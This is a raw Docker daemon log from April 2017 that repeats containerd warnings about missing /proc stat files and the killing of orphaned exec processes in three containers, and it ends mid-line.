time=\ 2017-04-27t13:31:38.788733485z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:cd52f883345bd20d18298ec6db5a6868ffde550732e4430c95dfbf983236f62e  pid 17751  has become an orphan, killing it\ \r apr 27 13:31:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:38.821583766z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:f4827a98b7953b141bc974e90333e90b5d6703647a823d2e6672586bde105e38 starttime: open /proc/17770/stat: no such file or directory\ \r apr 27 13:31:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:38.823034393z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:f4827a98b7953b141bc974e90333e90b5d6703647a823d2e6672586bde105e38  pid 17770  has become an orphan, killing it\ \r apr 27 13:31:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:48.788120039z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:603eb1a3f8abf06f1d700ce75a957d09bea0d05cbaa318517cef654bc7b48d19 starttime: open /proc/17983/stat: no such file or directory\ \r apr 27 13:31:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:48.788316348z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:603eb1a3f8abf06f1d700ce75a957d09bea0d05cbaa318517cef654bc7b48d19  pid 17983  has become an orphan, killing it\ \r apr 27 13:31:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:48.840484406z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:ecd734ef72c068070fcbddf14e8f151d08a7a74d016c152025bd7ddc1e62d942 starttime: open /proc/18025/stat: no such file or directory\ \r apr 27 13:31:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:48.84127098z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:ecd734ef72c068070fcbddf14e8f151d08a7a74d016c152025bd7ddc1e62d942  pid 18025  has become an orphan, killing it\ \r apr 27 13:31:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:58.796451562z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:c08a3e6beea7331954d6b083e0872c03c0262efff608fa11af251941a96d7941 starttime: open /proc/18220/stat: no such file or directory\ \r apr 27 13:31:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:58.797955113z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:c08a3e6beea7331954d6b083e0872c03c0262efff608fa11af251941a96d7941  pid 18220  has become an orphan, killing it\ \r apr 27 13:31:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:58.815130091z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:5649d4c82d6dc677ebcd5b69374b1b3d8925c528cdede070059517dafa31ed55 starttime: open /proc/18239/stat: no such file or directory\ \r apr 27 13:31:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:58.815284154z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:5649d4c82d6dc677ebcd5b69374b1b3d8925c528cdede070059517dafa31ed55  pid 18239  has become an orphan, killing it\ \r apr 27 13:31:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:58.849799615z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:6c8e3f81bf3a2a159ffdf0bf44de4309627655d86e72312e071338344c5d8a33 starttime: open /proc/18260/stat: no such file or directory\ \r apr 27 13:31:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:31:58.850032725z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:6c8e3f81bf3a2a159ffdf0bf44de4309627655d86e72312e071338344c5d8a33  pid 18260  has become an orphan, killing it\ \r apr 27 13:32:04 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:04.929948643z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:92fad25548575270bd62ebe4b7089509201d38b27324cb0d6909861e12ae2f62 starttime: open /proc/18343/stat: no such file or directory\ \r apr 27 13:32:04 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:04.930287955z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:92fad25548575270bd62ebe4b7089509201d38b27324cb0d6909861e12ae2f62  pid 18343  has become an orphan, killing it\ \r apr 27 13:32:04 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:04.966051145z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:b2e763fd3245dd5a813e36e71da4442ba6a1bb12b92d647a1672f8fa5320012c starttime: open /proc/18361/stat: no such file or directory\ \r apr 27 13:32:04 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:04.966217007z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:b2e763fd3245dd5a813e36e71da4442ba6a1bb12b92d647a1672f8fa5320012c  pid 18361  has become an orphan, killing it\ \r apr 27 13:32:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:08.80842033z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:b424a00969fe75167d0d03f2eab68b267d7fb70d011b900b1358a419c2c11c0e starttime: open /proc/18474/stat: no such file or directory\ \r apr 27 13:32:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:08.808581167z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:b424a00969fe75167d0d03f2eab68b267d7fb70d011b900b1358a419c2c11c0e  pid 18474  has become an orphan, killing it\ \r apr 27 13:32:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:08.841242141z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:f9338197bc5f006c372f79e8d72bc1718d993a61875685234d51292f6de0560d starttime: open /proc/18494/stat: no such file or directory\ \r apr 27 13:32:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:08.841498957z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:f9338197bc5f006c372f79e8d72bc1718d993a61875685234d51292f6de0560d  pid 18494  has become an orphan, killing it\ \r apr 27 13:32:14 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:14.970252944z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:137f8cc390976b385b31c4d55182555196ab4b769e46765090c0fde290ba9355 starttime: open /proc/18722/stat: no such file or directory\ \r apr 27 13:32:14 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:14.970973657z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:137f8cc390976b385b31c4d55182555196ab4b769e46765090c0fde290ba9355  pid 18722  has become an orphan, killing it\ \r apr 27 13:32:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:18.78835236z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:7482b63ec9969d43ce85b060c0da8e0905cc9bd18aa89f32c071ea2b2b96e532 starttime: open /proc/18755/stat: no such file or directory\ \r apr 27 13:32:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:18.788915136z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:7482b63ec9969d43ce85b060c0da8e0905cc9bd18aa89f32c071ea2b2b96e532  pid 18755  has become an orphan, killing it\ \r apr 27 13:32:24 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:24.92692417z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:84d5fd59eb754247a52f69fad9171e0c06db7171023db061a0a22fe128952944 starttime: open /proc/18930/stat: no such file or directory\ \r apr 27 13:32:24 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:24.927562877z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:84d5fd59eb754247a52f69fad9171e0c06db7171023db061a0a22fe128952944  pid 18930  has become an orphan, killing it\ \r apr 27 13:32:24 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:24.962185835z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:79532058d6e2912e31ed716328875e46e5c57a800f30ea4d41772fad956c9a35 starttime: open /proc/18950/stat: no such file or directory\ \r apr 27 13:32:24 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:24.962887676z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:79532058d6e2912e31ed716328875e46e5c57a800f30ea4d41772fad956c9a35  pid 18950  has become an orphan, killing it\ \r apr 27 13:32:34 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:34.926126114z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:a2ecc4fb4f2714452a18e64fbcd897766e058c29e22b200cf5376f1ba84b9c3c starttime: open /proc/19176/stat: no such file or directory\ \r apr 27 13:32:34 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:34.92643228z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:a2ecc4fb4f2714452a18e64fbcd897766e058c29e22b200cf5376f1ba84b9c3c  pid 19176  has become an orphan, killing it\ \r apr 27 13:32:34 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:34.977268306z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:1b88b324a7b6ab0836bb931b90d3ce4a6bf013f387ba79598ca3ea2880ec645e starttime: open /proc/19195/stat: no such file or directory\ \r apr 27 13:32:34 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:34.977953601z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:1b88b324a7b6ab0836bb931b90d3ce4a6bf013f387ba79598ca3ea2880ec645e  pid 19195  has become an orphan, killing it\ \r apr 27 13:32:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:38.803712909z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:dde57c505123871c7fe0b6aa70693c3a157428c179351b16cf1734e8f45d6957 starttime: open /proc/19242/stat: no such file or directory\ \r apr 27 13:32:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:38.804685806z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:dde57c505123871c7fe0b6aa70693c3a157428c179351b16cf1734e8f45d6957  pid 19242  has become an orphan, killing it\ \r apr 27 13:32:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:38.852720865z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:994e3824701383331405ea96629f761cba3748a4162bf734000b25d3c9c79029 starttime: open /proc/19264/stat: no such file or directory\ \r apr 27 13:32:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:38.85443881z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:994e3824701383331405ea96629f761cba3748a4162bf734000b25d3c9c79029  pid 19264  has become an orphan, killing it\ \r apr 27 13:32:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:38.885180541z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:2e0cbc99310ae164df2ef0ff285d701eb3e805d88599ab014e1736120b9f9517 starttime: open /proc/19284/stat: no such file or directory\ \r apr 27 13:32:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:38.88538793z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:2e0cbc99310ae164df2ef0ff285d701eb3e805d88599ab014e1736120b9f9517  pid 19284  has become an orphan, killing it\ \r apr 27 13:32:44 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:44.942230384z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:619dbe9f6ea9053def48a49643a8885abbef54897565a12e40d63fc357246531 starttime: open /proc/19342/stat: no such file or directory\ \r apr 27 13:32:44 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:44.942437376z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:619dbe9f6ea9053def48a49643a8885abbef54897565a12e40d63fc357246531  pid 19342  has become an orphan, killing it\ \r apr 27 13:32:44 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:44.993290238z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:86e5fd590c09adbaea1e7738cc6e1be25d18524bf7a60bf5d599f8b82b910be6 starttime: open /proc/19362/stat: no such file or directory\ \r apr 27 13:32:44 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:44.993462832z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:86e5fd590c09adbaea1e7738cc6e1be25d18524bf7a60bf5d599f8b82b910be6  pid 19362  has become an orphan, killing it\ \r apr 27 13:32:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:48.803280725z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:01ad5c9b57141c586bec7d45e5f926770cfccb30ead0955d8002ae87efe0b304 starttime: open /proc/19396/stat: no such file or directory\ \r apr 27 13:32:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:48.804056919z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:01ad5c9b57141c586bec7d45e5f926770cfccb30ead0955d8002ae87efe0b304  pid 19396  has become an orphan, killing it\ \r apr 27 13:32:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:48.83685072z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:bdfa94c418c1cc18aefe26043de7f3427d30874d74db875644edc0d60d53aa17 starttime: open /proc/19415/stat: no such file or directory\ \r apr 27 13:32:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:48.837240463z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:bdfa94c418c1cc18aefe26043de7f3427d30874d74db875644edc0d60d53aa17  pid 19415  has become an orphan, killing it\ \r apr 27 13:32:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:48.869577443z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:3fd4b365a303b86e9547f175e97669c52e78c8e7ccab6215e1a1a9bf19bf76fa starttime: open /proc/19434/stat: no such file or directory\ \r apr 27 13:32:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:48.869805866z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:3fd4b365a303b86e9547f175e97669c52e78c8e7ccab6215e1a1a9bf19bf76fa  pid 19434  has become an orphan, killing it\ \r apr 27 13:32:54 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:54.947564734z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:e8ecab62f030627ef18accd0113ffb7c5b883c916b991b67ad6f3d745785ec0b starttime: open /proc/19575/stat: no such file or directory\ \r apr 27 13:32:54 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:54.947847637z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:e8ecab62f030627ef18accd0113ffb7c5b883c916b991b67ad6f3d745785ec0b  pid 19575  has become an orphan, killing it\ \r apr 27 13:32:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:58.788109179z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:21643d2e827dc85680899d450d1abc4d4766aea34dfaa01797596531d7a87d6f starttime: open /proc/19605/stat: no such file or directory\ \r apr 27 13:32:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:32:58.788834059z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:21643d2e827dc85680899d450d1abc4d4766aea34dfaa01797596531d7a87d6f  pid 19605  has become an orphan, killing it\ \r apr 27 13:33:04 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:04.970146169z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:51739f68a560f34172a9ba6bc2ba1049e0ba64e0bb2c2b0559dd8b9b34760f02 starttime: open /proc/19718/stat: no such file or directory\ \r apr 27 13:33:04 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:04.970409095z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:51739f68a560f34172a9ba6bc2ba1049e0ba64e0bb2c2b0559dd8b9b34760f02  pid 19718  has become an orphan, killing it\ \r apr 27 13:33:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:08.80757548z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:c1f339b7666e3f3de62a8da4c9b1ca705c1e758249b093340e4efab39bb54c54 starttime: open /proc/19812/stat: no such file or directory\ \r apr 27 13:33:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:08.808092156z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:c1f339b7666e3f3de62a8da4c9b1ca705c1e758249b093340e4efab39bb54c54  pid 19812  has become an orphan, killing it\ \r apr 27 13:33:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:08.859062238z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:c4c575ba105f9659f39bf49fb3d9e90b8fa02816d6d95425c71a2b6fc23dce63 starttime: open /proc/19853/stat: no such file or directory\ \r apr 27 13:33:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:08.859313839z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:c4c575ba105f9659f39bf49fb3d9e90b8fa02816d6d95425c71a2b6fc23dce63  pid 19853  has become an orphan, killing it\ \r apr 27 13:33:14 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:14.925960314z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:38ec6ca38809820f215b08c547062628497f268d2853575b2665d30f80e66268 starttime: open /proc/19961/stat: no such file or directory\ \r apr 27 13:33:14 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:14.926304906z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:38ec6ca38809820f215b08c547062628497f268d2853575b2665d30f80e66268  pid 19961  has become an orphan, killing it\ \r apr 27 13:33:14 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:14.961783276z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:fc907ab61885984fca8283a41976207e9a8da8220ace4d656d875ed7895ace66 starttime: open /proc/19980/stat: no such file or directory\ \r apr 27 13:33:14 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:14.962078418z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:fc907ab61885984fca8283a41976207e9a8da8220ace4d656d875ed7895ace66  pid 19980  has become an orphan, killing it\ \r apr 27 13:33:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:18.83933177z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:f29a0b21ab815305c21c97f46814945dc10cd16a8e128f48b47b0b53d2307d3a starttime: open /proc/20054/stat: no such file or directory\ \r apr 27 13:33:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:18.839669646z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:f29a0b21ab815305c21c97f46814945dc10cd16a8e128f48b47b0b53d2307d3a  pid 20054  has become an orphan, killing it\ \r apr 27 13:33:24 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:24.932847599z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:5261d46b24cd070e7d50f79c2c5e536806c67e54cae13d7bc3d120dc910ef728 starttime: open /proc/20201/stat: no such file or directory\ \r apr 27 13:33:24 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:24.933568039z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:5261d46b24cd070e7d50f79c2c5e536806c67e54cae13d7bc3d120dc910ef728  pid 20201  has become an orphan, killing it\ \r apr 27 13:33:24 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:24.984410172z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:26b220cb9d450902e840119c14d7874d065450c804948b68529242d7b43f2159 starttime: open /proc/20221/stat: no such file or directory\ \r apr 27 13:33:24 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:24.98472431z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:26b220cb9d450902e840119c14d7874d065450c804948b68529242d7b43f2159  pid 20221  has become an orphan, killing it\ \r apr 27 13:33:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:28.788321427z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:0d236f8112cfa85771a8aa516f5f064dc294c3177ac42a68ad081cfbf3b2dc33 starttime: open /proc/20273/stat: no such file or directory\ \r apr 27 13:33:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:28.788828074z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:0d236f8112cfa85771a8aa516f5f064dc294c3177ac42a68ad081cfbf3b2dc33  pid 20273  has become an orphan, killing it\ \r apr 27 13:33:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:28.821022711z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:fb722eb9cecc8b24da42fc4415b73803cae9309113369b7de3b2e4c9ad383a77 starttime: open /proc/20291/stat: no such file or directory\ \r apr 27 13:33:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:28.821282328z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:fb722eb9cecc8b24da42fc4415b73803cae9309113369b7de3b2e4c9ad383a77  pid 20291  has become an orphan, killing it\ \r apr 27 13:33:34 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:34.933422741z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:bc290f1fc2cf7a3cc14cd66c5718d54f34fc539c4df60818a34ae835c1687d2e starttime: open /proc/20450/stat: no such file or directory\ \r apr 27 13:33:34 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:34.933625646z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:bc290f1fc2cf7a3cc14cd66c5718d54f34fc539c4df60818a34ae835c1687d2e  pid 20450  has become an orphan, killing it\ \r apr 27 13:33:34 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:34.969538724z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:54ad4eb5217de40abfb336d83dc6d020e2fce6939fbea62f03f18a96612fdf07 starttime: open /proc/20470/stat: no such file or directory\ \r apr 27 13:33:34 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:34.969959185z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:54ad4eb5217de40abfb336d83dc6d020e2fce6939fbea62f03f18a96612fdf07  pid 20470  has become an orphan, killing it\ \r apr 27 13:33:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:38.787983113z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:d748bfd0321c110c83b54b8ed09e2e73e858cff7fa0a7301ecdc0168f04fba7b starttime: open /proc/20516/stat: no such file or directory\ \r apr 27 13:33:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:38.788530627z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:d748bfd0321c110c83b54b8ed09e2e73e858cff7fa0a7301ecdc0168f04fba7b  pid 20516  has become an orphan, killing it\ \r apr 27 13:33:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:38.821407073z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:4a8f41cd4744e539d6c288db5e509778ba520282ee4a197eeacf60ccae94002b starttime: open /proc/20536/stat: no such file or directory\ \r apr 27 13:33:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:38.821900056z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:4a8f41cd4744e539d6c288db5e509778ba520282ee4a197eeacf60ccae94002b  pid 20536  has become an orphan, killing it\ \r apr 27 13:33:44 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:44.945378388z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:b21b81ef43ea5604d3d954b60508cd10aaad53ed712b736962f011562ecfd657 starttime: open /proc/20614/stat: no such file or directory\ \r apr 27 13:33:44 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:44.945635596z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:b21b81ef43ea5604d3d954b60508cd10aaad53ed712b736962f011562ecfd657  pid 20614  has become an orphan, killing it\ \r apr 27 13:33:44 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:44.998430059z\  level=warning msg=\ containerd: unable to save ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:558dc793e1d1143104f759743a4e14235501c82c5b221741527af6f172183742 starttime: open /proc/20633/stat: no such file or directory\ \r apr 27 13:33:45 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:33:44.998538532z\  level=info msg=\ containerd: ef195d8282ac8354441f0e332360ad21b0ebbaf7c83ea512d704fa27214d8f56:558dc793e1d1143104f759743a4e14235501c82c5b221741527af6f172183742  pid 20633  has become an orphan, killing 